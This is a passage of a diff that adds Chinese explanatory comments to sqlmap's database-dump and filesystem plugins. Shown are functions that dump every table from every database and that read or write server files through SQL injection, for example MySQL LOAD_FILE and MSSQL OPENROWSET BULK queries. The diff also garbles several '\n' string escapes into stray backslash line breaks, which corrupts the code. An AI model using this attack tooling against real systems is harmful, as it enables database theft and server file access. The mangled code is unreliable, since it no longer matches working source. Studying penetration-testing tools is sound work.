                                     lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
                                     entries[column].append(value)
 
@@ -440,14 +493,15 @@ class Entries(object):
                             clearConsoleLine()
                             warnMsg = "Ctrl+C detected in dumping phase"
                             logger.warning(warnMsg)
-
+                    # 遍历获取到的条目，将结果保存到kb.data.dumpedTable中
                     for column, columnEntries in entries.items():
                         length = max(lengths[column], len(column))
 
                         kb.data.dumpedTable[column] = {"length": length, "values": columnEntries}
-
+                        # 获取总行数
                         entriesCount = len(columnEntries)
 
+                # 如果没有转储表数据，或者条目数为0，且有权限标识
                 if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag):
                     warnMsg = "unable to retrieve the entries "
                     if conf.col:
@@ -456,15 +510,18 @@ class Entries(object):
                     warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "")
                     logger.warning(warnMsg)
                 else:
+                    # 保存转储的信息，包括总行数、表名和数据库名
                     kb.data.dumpedTable["__infos__"] = {"count": entriesCount,
                                                         "table": safeSQLIdentificatorNaming(tbl, True),
                                                         "db": safeSQLIdentificatorNaming(conf.db)}
                     try:
+                        # 对转储的数据进行攻击
                         attackDumpedTable()
                     except (IOError, OSError) as ex:
                         errMsg = "an error occurred while attacking "
                         errMsg += "table dump ('%s')" % getSafeExString(ex)
                         logger.critical(errMsg)
+                    # 将转储的数据传递给dumper
                     conf.dumper.dbTableValues(kb.data.dumpedTable)
 
             except SqlmapConnectionException as ex:
@@ -473,14 +530,17 @@ class Entries(object):
                 logger.critical(errMsg)
 
             finally:
+                # 清空全局变量
                 kb.dumpColumns = None
                 kb.dumpTable = None
 
+    # 定义dumpAll方法，用于转储所有数据库中的所有表的所有条目
     def dumpAll(self):
+        # 如果指定了数据库，但没有指定表，则只转储该数据库下的表
         if conf.db is not None and conf.tbl is None:
             self.dumpTable()
             return
-
+        # 如果是MySQL数据库，且没有information_schema
         if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
             errMsg = "information_schema not available, "
             errMsg += "back-end DBMS is MySQL < 5.0"
@@ -489,15 +549,19 @@ class Entries(object):
         infoMsg = "sqlmap will dump entries of all tables from all databases now"
         logger.info(infoMsg)
         
+        # 清空表和列的全局变量
         conf.tbl = None
         conf.col = None
 
+        # 获取所有表
         self.getTables()
         
+        # 如果有缓存的表信息
         if kb.data.cachedTables:
             if isinstance(kb.data.cachedTables, list):
                 kb.data.cachedTables = {None: kb.data.cachedTables}
             
+            # 遍历数据库和表
             for db, tables in kb.data.cachedTables.items():
                 conf.db = db
                 
@@ -506,7 +570,6 @@ class Entries(object):
                         infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table)
                         logger.info(infoMsg)
                         continue
-
                     try:
                         conf.tbl = table
                         kb.data.cachedColumns = {}
@@ -517,45 +580,57 @@ class Entries(object):
                         infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table)
                         logger.info(infoMsg)
 
+    # 定义dumpFoundColumn方法，用于转储已发现的列
     def dumpFoundColumn(self, dbs, foundCols, colConsider):
         message = "do you want to dump found column(s) entries? [Y/n] "
-
+        # 询问用户是否要转储已发现的列
         if not readInput(message, default='Y', boolean=True):
             return
 
         dumpFromDbs = []
-        message = "which database(s)?\n[a]ll (default)\n"
+        message = "which database(s)?\
+[a]ll (default)\
+"
 
+        # 构建数据库选项
         for db, tblData in dbs.items():
             if tblData:
-                message += "[%s]\n" % unsafeSQLIdentificatorNaming(db)
+                message += "[%s]\
+" % unsafeSQLIdentificatorNaming(db)
 
         message += "[q]uit"
+        # 接收用户选择
         choice = readInput(message, default='a')
-
+        # 处理用户选择
         if not choice or choice in ('a', 'A'):
             dumpFromDbs = list(dbs.keys())
         elif choice in ('q', 'Q'):
             return
         else:
             dumpFromDbs = choice.replace(" ", "").split(',')
-
+        # 遍历数据库
         for db, tblData in dbs.items():
             if db not in dumpFromDbs or not tblData:
                 continue
 
             conf.db = db
             dumpFromTbls = []
-            message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db)
+            message = "which table(s) of database '%s'?\
-            message += "[a]ll (default)\n"
+" % unsafeSQLIdentificatorNaming(db)
+            message += "[a]ll (default)\
+"
 
+            # 构建表选项
             for tbl in tblData:
-                message += "[%s]\n" % tbl
+                message += "[%s]\
+" % tbl
 
-            message += "[s]kip\n"
+            message += "[s]kip\
+"
             message += "[q]uit"
+            # 接收用户选择
             choice = readInput(message, default='a')
-
+            # 处理用户选择
             if not choice or choice in ('a', 'A'):
                 dumpFromTbls = tblData
             elif choice in ('s', 'S'):
@@ -564,80 +639,120 @@ class Entries(object):
                 return
             else:
                 dumpFromTbls = choice.replace(" ", "").split(',')
-
+            # 遍历表
             for table, columns in tblData.items():
                 if table not in dumpFromTbls:
                     continue
 
                 conf.tbl = table
                 colList = [_ for _ in columns if _]
-
+                # 如果指定了排除模式，则排除匹配的列
                 if conf.exclude:
                     colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
-
+                # 设置需要转储的列
                 conf.col = ','.join(colList)
                 kb.data.cachedColumns = {}
                 kb.data.dumpedTable = {}
 
                 data = self.dumpTable(dbs)
-
+                # 如果成功转储了数据，则传递给dumper
                 if data:
                     conf.dumper.dbTableValues(data)
 
     def dumpFoundTables(self, tables):
+        # 1. 定义一个消息，询问用户是否要转储发现的表条目
         message = "do you want to dump found table(s) entries? [Y/n] "
 
+        # 2. 使用 readInput 函数获取用户输入，默认值为 'Y' (是)，并将其转换为布尔值
+        #    如果用户输入 'n' (否) 或者其他非 'y' 的值，则返回 False，否则返回 True。
+        #    如果用户输入为否，则直接返回，不进行后续的转储操作
         if not readInput(message, default='Y', boolean=True):
             return
 
+        # 3. 初始化一个空列表 dumpFromDbs，用于存储用户选择要转储的数据库
         dumpFromDbs = []
-        message = "which database(s)?\n[a]ll (default)\n"
+        # 4. 构建一个消息，用于提示用户选择要转储的数据库，其中 [a]ll (default) 表示默认选择全部数据库
+        message = "which database(s)?\
+    [a]ll (default)\
+    "
 
+        # 5. 遍历传入的 tables 字典，该字典的键是数据库名，值是该数据库下的表列表
         for db, tablesList in tables.items():
+            # 6. 如果该数据库有表，则将数据库名添加到消息中，并进行安全 SQL 标识符命名处理
             if tablesList:
-                message += "[%s]\n" % unsafeSQLIdentificatorNaming(db)
+                message += "[%s]\
+    " % unsafeSQLIdentificatorNaming(db)
 
+        # 7. 在消息中添加一个选项 [q]uit，允许用户退出
         message += "[q]uit"
+        # 8. 使用 readInput 函数获取用户输入，默认值为 'a'，表示选择全部数据库
         choice = readInput(message, default='a')
 
+        # 9. 如果用户没有输入或者输入为 'a' (或 'A')，则将所有数据库添加到 dumpFromDbs 列表中
         if not choice or choice.lower() == 'a':
             dumpFromDbs = list(tables.keys())
+        # 10. 如果用户输入为 'q' (或 'Q')，则直接返回，不进行后续的转储操作
         elif choice.lower() == 'q':
             return
+        # 11. 否则，将用户输入的数据库名按逗号分割，并添加到 dumpFromDbs 列表中
         else:
             dumpFromDbs = choice.replace(" ", "").split(',')
 
+        # 12. 遍历 tables 字典，键是数据库名，值是该数据库下的表列表
         for db, tablesList in tables.items():
+            # 13. 如果当前数据库不在 dumpFromDbs 列表中，或者当前数据库没有表，则跳过该数据库
             if db not in dumpFromDbs or not tablesList:
                 continue
 
+            # 14. 将当前数据库名赋值给 conf.db (全局配置参数)
             conf.db = db
+            # 15. 初始化一个空列表 dumpFromTbls，用于存储用户选择要转储的表
             dumpFromTbls = []
-            message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db)
+            # 16. 构建一个消息，用于提示用户选择当前数据库下要转储的表
-            message += "[a]ll (default)\n"
+            message = "which table(s) of database '%s'?\
-
+    " % unsafeSQLIdentificatorNaming(db)
+            # 17. 在消息中添加一个选项 [a]ll (default)，表示默认选择全部表
+            message += "[a]ll (default)\
+    "
+
+            # 18. 遍历当前数据库下的表列表，将表名添加到消息中，并进行安全 SQL 标识符命名处理
             for tbl in tablesList:
-                message += "[%s]\n" % unsafeSQLIdentificatorNaming(tbl)
+                message += "[%s]\
+    " % unsafeSQLIdentificatorNaming(tbl)
 
-            message += "[s]kip\n"
+            # 19. 在消息中添加一个选项 [s]kip，允许用户跳过当前数据库的表
+            message += "[s]kip\
+    "
+            # 20. 在消息中添加一个选项 [q]uit，允许用户退出
             message += "[q]uit"
+            # 21. 使用 readInput 函数获取用户输入，默认值为 'a'，表示选择全部表
             choice = readInput(message, default='a')
 
+            # 22. 如果用户没有输入或者输入为 'a' (或 'A')，则将所有表添加到 dumpFromTbls 列表中
             if not choice or choice.lower() == 'a':
                 dumpFromTbls = tablesList
+            # 23. 如果用户输入为 's' (或 'S')，则跳过当前数据库的表，继续处理下一个数据库
             elif choice.lower() == 's':
                 continue
+            # 24. 如果用户输入为 'q' (或 'Q')，则直接返回，不进行后续的转储操作
             elif choice.lower() == 'q':
                 return
+            # 25. 否则，将用户输入的表名按逗号分割，并添加到 dumpFromTbls 列表中
             else:
                 dumpFromTbls = choice.replace(" ", "").split(',')
 
+            # 26. 遍历 dumpFromTbls 列表，该列表存储当前数据库下要转储的表名
             for table in dumpFromTbls:
+                # 27. 将当前表名赋值给 conf.tbl (全局配置参数)
                 conf.tbl = table
+                # 28. 清空 kb.data.cachedColumns (全局配置参数) 缓存的列信息
                 kb.data.cachedColumns = {}
+                # 29. 清空 kb.data.dumpedTable (全局配置参数) 缓存的表数据
                 kb.data.dumpedTable = {}
 
+                # 30. 调用 self.dumpTable() 函数，转储当前表的数据
                 data = self.dumpTable()
 
+                # 31. 如果转储成功 (data 不为空)，则将转储的数据传递给 conf.dumper.dbTableValues() 函数进行后续处理
                 if data:
                     conf.dumper.dbTableValues(data)

src/sqlmap-master/plugins/generic/filesystem.py

@@ -5,320 +5,496 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import codecs
+import codecs  # 用于处理不同编码的文本
-import os
+import os  # 用于与操作系统进行交互
-import sys
+import sys  # 用于访问与系统相关的参数和函数
-
+
-from lib.core.agent import agent
+from lib.core.agent import agent  # 导入 agent 模块，用于与数据库进行交互
-from lib.core.common import Backend
+from lib.core.common import Backend  # 导入 Backend 模块，用于获取数据库信息
-from lib.core.common import checkFile
+from lib.core.common import checkFile  # 导入 checkFile 函数，用于检查文件是否存在
-from lib.core.common import dataToOutFile
+from lib.core.common import dataToOutFile  # 导入 dataToOutFile 函数，用于将数据写入文件
-from lib.core.common import decloakToTemp
+from lib.core.common import decloakToTemp  # 导入 decloakToTemp 函数，用于将伪装的文件名转换为临时文件路径
-from lib.core.common import decodeDbmsHexValue
+from lib.core.common import decodeDbmsHexValue  # 导入 decodeDbmsHexValue 函数，用于解码数据库的十六进制数据
-from lib.core.common import isListLike
+from lib.core.common import isListLike  # 导入 isListLike 函数，用于检查是否为列表类型
-from lib.core.common import isNumPosStrValue
+from lib.core.common import isNumPosStrValue  # 导入 isNumPosStrValue 函数，用于检查是否为正数字符串
-from lib.core.common import isStackingAvailable
+from lib.core.common import isStackingAvailable  # 导入 isStackingAvailable 函数，用于检查是否支持堆叠查询
-from lib.core.common import isTechniqueAvailable
+from lib.core.common import isTechniqueAvailable  # 导入 isTechniqueAvailable 函数，用于检查是否支持某种注入技术
-from lib.core.common import readInput
+from lib.core.common import readInput  # 导入 readInput 函数，用于读取用户输入
-from lib.core.compat import xrange
+from lib.core.compat import xrange  # 导入 xrange 函数，用于生成数字序列
-from lib.core.convert import encodeBase64
+from lib.core.convert import encodeBase64  # 导入 encodeBase64 函数，用于进行 Base64 编码
-from lib.core.convert import encodeHex
+from lib.core.convert import encodeHex  # 导入 encodeHex 函数，用于进行十六进制编码
-from lib.core.convert import getText
+from lib.core.convert import getText  # 导入 getText 函数，用于将数据转换为文本
-from lib.core.convert import getUnicode
+from lib.core.convert import getUnicode  # 导入 getUnicode 函数，用于将数据转换为 Unicode
-from lib.core.data import conf
+from lib.core.data import conf  # 导入 conf 模块，用于获取全局配置信息
-from lib.core.data import kb
+from lib.core.data import kb  # 导入 kb 模块，用于获取全局知识库信息
-from lib.core.data import logger
+from lib.core.data import logger  # 导入 logger 模块，用于打印日志信息
-from lib.core.enums import CHARSET_TYPE
+from lib.core.enums import CHARSET_TYPE  # 导入 CHARSET_TYPE 枚举，用于指定字符集类型
-from lib.core.enums import DBMS
+from lib.core.enums import DBMS  # 导入 DBMS 枚举，用于指定数据库类型
-from lib.core.enums import EXPECTED
+from lib.core.enums import EXPECTED  # 导入 EXPECTED 枚举，用于指定预期的数据类型
-from lib.core.enums import PAYLOAD
+from lib.core.enums import PAYLOAD  # 导入 PAYLOAD 枚举，用于指定攻击载荷类型
-from lib.core.exception import SqlmapUndefinedMethod
+from lib.core.exception import SqlmapUndefinedMethod  # 导入 SqlmapUndefinedMethod 异常，用于处理未定义的方法
-from lib.core.settings import UNICODE_ENCODING
+from lib.core.settings import UNICODE_ENCODING  # 导入 UNICODE_ENCODING 变量，用于指定 Unicode 编码
-from lib.request import inject
+from lib.request import inject  # 导入 inject 模块，用于进行 SQL 注入
 
 class Filesystem(object):
     """
-    This class defines generic OS file system functionalities for plugins.
+    这个类定义了插件的通用操作系统文件系统功能。
     """
 
     def __init__(self):
-        self.fileTblName = "%sfile" % conf.tablePrefix
+        # 初始化文件表名
-        self.tblField = "data"
+        self.fileTblName = "%sfile" % conf.tablePrefix  # 将配置中的表前缀与 "file" 组合，生成表名
+        # 初始化表字段名
+        self.tblField = "data"  # 设置表字段名为 "data"
 
     def _checkFileLength(self, localFile, remoteFile, fileRead=False):
+        """
+        检查本地文件和远程文件长度是否相同。
+
+        Args:
+            localFile (str): 本地文件路径
+            remoteFile (str): 远程文件路径
+            fileRead (bool, optional): 是否为读取文件操作. Defaults to False.
+
+        Returns:
+            bool: 如果文件长度相同返回 True，否则返回 False。如果无法判断则返回 None
+        """
         if Backend.isDbms(DBMS.MYSQL):
-            lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile
+            # 如果是 MySQL 数据库
+            lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile  # 构建获取远程文件长度的 SQL 查询
 
         elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
-            lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid
+            # 如果是 PostgreSQL 数据库且不是读取文件操作
+            lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid  # 构建获取大对象长度的 SQL 查询
 
         elif Backend.isDbms(DBMS.MSSQL):
-            self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
+            # 如果是 MSSQL 数据库
-            inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField))
+            self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")  # 创建支持表
+            inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField))  # 使用 OPENROWSET 将文件内容插入表中
 
-            lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
+            lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)  # 构建获取表数据长度的 SQL 查询
 
         try:
-            localFileSize = os.path.getsize(localFile)
+            localFileSize = os.path.getsize(localFile)  # 获取本地文件大小
         except OSError:
-            warnMsg = "file '%s' is missing" % localFile
+            # 如果本地文件不存在
-            logger.warning(warnMsg)
+            warnMsg = "file '%s' is missing" % localFile  # 构造警告消息
-            localFileSize = 0
+            logger.warning(warnMsg)  # 打印警告信息
+            localFileSize = 0  # 将本地文件大小设置为 0
 
         if fileRead and Backend.isDbms(DBMS.PGSQL):
-            logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile)
+            # 如果是读取文件操作且是 PostgreSQL 数据库
-            sameFile = True
+            logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile)  # 打印信息，表示 PostgreSQL 无法检查读取文件长度
+            sameFile = True  # 将 sameFile 设置为 True
         else:
-            logger.debug("checking the length of the remote file '%s'" % remoteFile)
+            # 如果不是读取文件或者不是 PostgreSQL 数据库
-            remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+            logger.debug("checking the length of the remote file '%s'" % remoteFile)  # 打印调试信息，表示正在检查远程文件长度
-            sameFile = None
+            remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)  # 获取远程文件大小
+            sameFile = None  # 将 sameFile 初始化为 None
 
             if isNumPosStrValue(remoteFileSize):
-                remoteFileSize = int(remoteFileSize)
+                # 如果远程文件大小为有效的数字字符串
-                localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
+                remoteFileSize = int(remoteFileSize)  # 将远程文件大小转换为整数
-                sameFile = False
+                localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)  # 将本地文件路径转换为 Unicode
+                sameFile = False  # 将 sameFile 设置为 False
 
                 if localFileSize == remoteFileSize:
-                    sameFile = True
+                     # 如果本地文件大小和远程文件大小相同
-                    infoMsg = "the local file '%s' and the remote file " % localFile
+                    sameFile = True  # 将 sameFile 设置为 True
-                    infoMsg += "'%s' have the same size (%d B)" % (remoteFile, localFileSize)
+                    infoMsg = "the local file '%s' and the remote file " % localFile  # 构造信息消息
+                    infoMsg += "'%s' have the same size (%d B)" % (remoteFile, localFileSize)  # 将远程文件路径和文件大小添加到信息消息中
                 elif remoteFileSize > localFileSize:
-                    infoMsg = "the remote file '%s' is larger (%d B) than " % (remoteFile, remoteFileSize)
+                    # 如果远程文件大小大于本地文件大小
-                    infoMsg += "the local file '%s' (%dB)" % (localFile, localFileSize)
+                    infoMsg = "the remote file '%s' is larger (%d B) than " % (remoteFile, remoteFileSize)  # 构造信息消息
+                    infoMsg += "the local file '%s' (%dB)" % (localFile, localFileSize)  # 将本地文件路径和文件大小添加到信息消息中
                 else:
-                    infoMsg = "the remote file '%s' is smaller (%d B) than " % (remoteFile, remoteFileSize)
+                    # 如果远程文件大小小于本地文件大小
-                    infoMsg += "file '%s' (%d B)" % (localFile, localFileSize)
+                    infoMsg = "the remote file '%s' is smaller (%d B) than " % (remoteFile, remoteFileSize)  # 构造信息消息
+                    infoMsg += "file '%s' (%d B)" % (localFile, localFileSize)  # 将本地文件路径和文件大小添加到信息消息中
 
-                logger.info(infoMsg)
+                logger.info(infoMsg)  # 打印信息消息
             else:
-                sameFile = False
+                # 如果远程文件大小不是有效的数字字符串
-                warnMsg = "it looks like the file has not been written (usually "
+                sameFile = False  # 将 sameFile 设置为 False
-                warnMsg += "occurs if the DBMS process user has no write "
+                warnMsg = "it looks like the file has not been written (usually "  # 构造警告消息
-                warnMsg += "privileges in the destination path)"
+                warnMsg += "occurs if the DBMS process user has no write "  # 警告消息补充
-                logger.warning(warnMsg)
+                warnMsg += "privileges in the destination path)"  # 警告消息补充
+                logger.warning(warnMsg)  # 打印警告消息
 
-        return sameFile
+        return sameFile  # 返回文件长度检查结果
 
     def fileToSqlQueries(self, fcEncodedList):
         """
-        Called by MySQL and PostgreSQL plugins to write a file on the
+        将编码后的文件内容转换为 SQL 查询语句，用于 MySQL 和 PostgreSQL。
-        back-end DBMS underlying file system
+
-        """
+        Args:
+            fcEncodedList (list): 编码后的文件内容列表
 
-        counter = 0
+        Returns:
-        sqlQueries = []
+            list: SQL 查询语句列表
+        """
+        counter = 0  # 初始化计数器
+        sqlQueries = []  # 初始化 SQL 查询语句列表
 
-        for fcEncodedLine in fcEncodedList:
+        for fcEncodedLine in fcEncodedList:  # 遍历编码后的文件内容列表
             if counter == 0:
+                 # 如果是第一个编码行
                 sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine))
+                # 将带有编码数据的插入语句添加到 SQL 查询列表中
             else:
+                # 如果不是第一个编码行
                 updatedField = agent.simpleConcatenate(self.tblField, fcEncodedLine)
+                # 构建更新语句，将编码行添加到数据字段中
                 sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField))
+                # 将更新语句添加到 SQL 查询列表中
 
-            counter += 1
+            counter += 1  # 计数器加 1
 
-        return sqlQueries
+        return sqlQueries  # 返回 SQL 查询语句列表
 
     def fileEncode(self, fileName, encoding, single, chunkSize=256):
         """
-        Called by MySQL and PostgreSQL plugins to write a file on the
+        读取文件内容，并进行编码。
-        back-end DBMS underlying file system
+
-        """
+        Args:
+            fileName (str): 文件路径
+            encoding (str): 编码方式，例如 "hex"、"base64" 或其他编码
+            single (bool): 是否将所有内容编码为单行
+            chunkSize (int, optional): 分块大小. Defaults to 256.
 
-        checkFile(fileName)
+        Returns:
+             list: 编码后的文件内容列表
+        """
+        checkFile(fileName)  # 检查文件是否存在
 
         with open(fileName, "rb") as f:
-            content = f.read()
+            # 打开文件进行读取
+            content = f.read()  # 读取文件内容
 
-        return self.fileContentEncode(content, encoding, single, chunkSize)
+        return self.fileContentEncode(content, encoding, single, chunkSize)  # 返回编码后的文件内容
 
     def fileContentEncode(self, content, encoding, single, chunkSize=256):
-        retVal = []
+        """
+         对文件内容进行编码。
+
+        Args:
+            content (bytes): 文件内容
+            encoding (str): 编码方式，例如 "hex"、"base64" 或其他编码
+            single (bool): 是否将所有内容编码为单行
+            chunkSize (int, optional): 分块大小. Defaults to 256.
+
+        Returns:
+             list: 编码后的文件内容列表
+        """
+        retVal = []  # 初始化返回列表
 
         if encoding == "hex":
-            content = encodeHex(content)
+             # 如果编码方式为 "hex"
+            content = encodeHex(content)  # 将文件内容进行十六进制编码
         elif encoding == "base64":
-            content = encodeBase64(content)
+            # 如果编码方式为 "base64"
+            content = encodeBase64(content)  # 将文件内容进行 Base64 编码
         else:
-            content = codecs.encode(content, encoding)
+            # 如果编码方式不是 "hex" 或 "base64"
+            content = codecs.encode(content, encoding)  # 使用指定的编码方式进行编码
 
-        content = getText(content).replace("\n", "")
+        content = getText(content).replace("\
+", "")  # 将编码后的内容转换为文本，并删除换行符
 
         if not single:
+            # 如果不是单行编码
             if len(content) > chunkSize:
+                # 如果内容长度大于分块大小
                 for i in xrange(0, len(content), chunkSize):
-                    _ = content[i:i + chunkSize]
+                    # 按照分块大小进行分块
+                    _ = content[i:i + chunkSize]  # 获取当前分块
 
                     if encoding == "hex":
-                        _ = "0x%s" % _
+                        # 如果编码方式为 "hex"
+                        _ = "0x%s" % _  # 添加十六进制前缀
                     elif encoding == "base64":
-                        _ = "'%s'" % _
+                         # 如果编码方式为 "base64"
+                        _ = "'%s'" % _  # 添加单引号
 
-                    retVal.append(_)
+                    retVal.append(_)  # 将当前分块添加到返回列表中
 
         if not retVal:
+            # 如果返回列表为空
             if encoding == "hex":
-                content = "0x%s" % content
+                # 如果编码方式为 "hex"
+                content = "0x%s" % content  # 添加十六进制前缀
             elif encoding == "base64":
-                content = "'%s'" % content
+                # 如果编码方式为 "base64"
+                content = "'%s'" % content  # 添加单引号
 
-            retVal = [content]
+            retVal = [content]  # 将编码后的内容添加到返回列表中
 
-        return retVal
+        return retVal  # 返回编码后的文件内容列表
 
     def askCheckWrittenFile(self, localFile, remoteFile, forceCheck=False):
-        choice = None
+        """
+        询问用户是否需要检查写入的文件。
+
+        Args:
+            localFile (str): 本地文件路径
+            remoteFile (str): 远程文件路径
+            forceCheck (bool, optional): 是否强制检查. Defaults to False.
+
+        Returns:
+            bool: 如果文件写入成功返回 True，如果用户选择不检查返回 True，否则返回 False
+        """
+        choice = None  # 初始化用户选择
 
         if forceCheck is not True:
-            message = "do you want confirmation that the local file '%s' " % localFile
+             # 如果不强制检查
-            message += "has been successfully written on the back-end DBMS "
+            message = "do you want confirmation that the local file '%s' " % localFile  # 构造询问消息
-            message += "file system ('%s')? [Y/n] " % remoteFile
+            message += "has been successfully written on the back-end DBMS "  # 消息补充
-            choice = readInput(message, default='Y', boolean=True)
+            message += "file system ('%s')? [Y/n] " % remoteFile  # 消息补充
+            choice = readInput(message, default='Y', boolean=True)  # 读取用户输入
 
         if forceCheck or choice:
-            return self._checkFileLength(localFile, remoteFile)
+            # 如果强制检查或者用户选择检查
+            return self._checkFileLength(localFile, remoteFile)  # 调用检查文件长度函数
 
-        return True
+        return True  # 如果用户选择不检查，则返回 True
 
     def askCheckReadFile(self, localFile, remoteFile):
+         """
+         询问用户是否需要检查读取的文件。
+
+        Args:
+            localFile (str): 本地文件路径
+            remoteFile (str): 远程文件路径
+
+        Returns:
+            bool: 如果文件读取成功返回 True，如果用户选择不检查返回 None
+        """
         if not kb.bruteMode:
-            message = "do you want confirmation that the remote file '%s' " % remoteFile
+            # 如果不是爆破模式
-            message += "has been successfully downloaded from the back-end "
+            message = "do you want confirmation that the remote file '%s' " % remoteFile  # 构造询问消息
-            message += "DBMS file system? [Y/n] "
+            message += "has been successfully downloaded from the back-end "  # 消息补充
+            message += "DBMS file system? [Y/n] "  # 消息补充
 
             if readInput(message, default='Y', boolean=True):
-                return self._checkFileLength(localFile, remoteFile, True)
+                 # 读取用户输入
+                return self._checkFileLength(localFile, remoteFile, True)  # 如果用户选择检查，调用检查文件长度函数
 
-        return None
+        return None  # 如果用户选择不检查，则返回 None
 
     def nonStackedReadFile(self, remoteFile):
-        errMsg = "'nonStackedReadFile' method must be defined "
+        """
-        errMsg += "into the specific DBMS plugin"
+        使用非堆叠查询技术读取远程文件，需要在子类中实现。
-        raise SqlmapUndefinedMethod(errMsg)
+
+        Args:
+            remoteFile (str): 远程文件路径
+
+        Raises:
+            SqlmapUndefinedMethod: 如果没有在子类中实现该方法，则抛出该异常
+        """
+        errMsg = "'nonStackedReadFile' method must be defined "  # 构造错误消息
+        errMsg += "into the specific DBMS plugin"  # 错误消息补充
+        raise SqlmapUndefinedMethod(errMsg)  # 抛出 SqlmapUndefinedMethod 异常
 
     def stackedReadFile(self, remoteFile):
-        errMsg = "'stackedReadFile' method must be defined "
+        """
-        errMsg += "into the specific DBMS plugin"
+         使用堆叠查询技术读取远程文件，需要在子类中实现。
-        raise SqlmapUndefinedMethod(errMsg)
+
+        Args:
+            remoteFile (str): 远程文件路径
+
+        Raises:
+            SqlmapUndefinedMethod: 如果没有在子类中实现该方法，则抛出该异常
+        """
+        errMsg = "'stackedReadFile' method must be defined "  # 构造错误消息
+        errMsg += "into the specific DBMS plugin"  # 错误消息补充
+        raise SqlmapUndefinedMethod(errMsg)  # 抛出 SqlmapUndefinedMethod 异常
 
     def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
-        errMsg = "'unionWriteFile' method must be defined "
+        """
-        errMsg += "into the specific DBMS plugin"
+        使用 UNION 查询技术写入文件，需要在子类中实现。
-        raise SqlmapUndefinedMethod(errMsg)
+
+        Args:
+            localFile (str): 本地文件路径
+            remoteFile (str): 远程文件路径
+            fileType (str): 文件类型
+            forceCheck (bool, optional): 是否强制检查. Defaults to False.
+
+        Raises:
+            SqlmapUndefinedMethod: 如果没有在子类中实现该方法，则抛出该异常
+        """
+        errMsg = "'unionWriteFile' method must be defined "  # 构造错误消息
+        errMsg += "into the specific DBMS plugin"  # 错误消息补充
+        raise SqlmapUndefinedMethod(errMsg)  # 抛出 SqlmapUndefinedMethod 异常
 
     def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
-        errMsg = "'stackedWriteFile' method must be defined "
+        """
-        errMsg += "into the specific DBMS plugin"
+        使用堆叠查询技术写入文件，需要在子类中实现。
-        raise SqlmapUndefinedMethod(errMsg)
+
+        Args:
+            localFile (str): 本地文件路径
+            remoteFile (str): 远程文件路径
+            fileType (str): 文件类型
+            forceCheck (bool, optional): 是否强制检查. Defaults to False.
+
+        Raises:
+            SqlmapUndefinedMethod: 如果没有在子类中实现该方法，则抛出该异常
+        """
+        errMsg = "'stackedWriteFile' method must be defined "  # 构造错误消息
+        errMsg += "into the specific DBMS plugin"  # 错误消息补充
+        raise SqlmapUndefinedMethod(errMsg)  # 抛出 SqlmapUndefinedMethod 异常
 
     def readFile(self, remoteFile):
-        localFilePaths = []
+        """
+         读取远程文件。
+
+        Args:
+            remoteFile (str): 远程文件路径
+
+        Returns:
+           list:  本地文件路径列表
+        """
+        localFilePaths = []  # 初始化本地文件路径列表
 
-        self.checkDbmsOs()
+        self.checkDbmsOs()  # 检查数据库类型和操作系统类型
 
         for remoteFile in remoteFile.split(','):
-            fileContent = None
+            # 遍历所有远程文件路径
-            kb.fileReadMode = True
+            fileContent = None  # 初始化文件内容
+            kb.fileReadMode = True  # 设置文件读取模式为 True
 
             if conf.direct or isStackingAvailable():
+                 # 如果使用直接连接或支持堆叠查询
                 if isStackingAvailable():
-                    debugMsg = "going to try to read the file with stacked query SQL "
+                     # 如果支持堆叠查询
-                    debugMsg += "injection technique"
+                    debugMsg = "going to try to read the file with stacked query SQL "  # 构造调试消息
-                    logger.debug(debugMsg)
+                    debugMsg += "injection technique"  # 调试消息补充
+                    logger.debug(debugMsg)  # 打印调试消息
 
-                fileContent = self.stackedReadFile(remoteFile)
+                fileContent = self.stackedReadFile(remoteFile)  # 使用堆叠查询技术读取文件
             elif Backend.isDbms(DBMS.MYSQL):
-                debugMsg = "going to try to read the file with non-stacked query "
+                # 如果是 MySQL 数据库
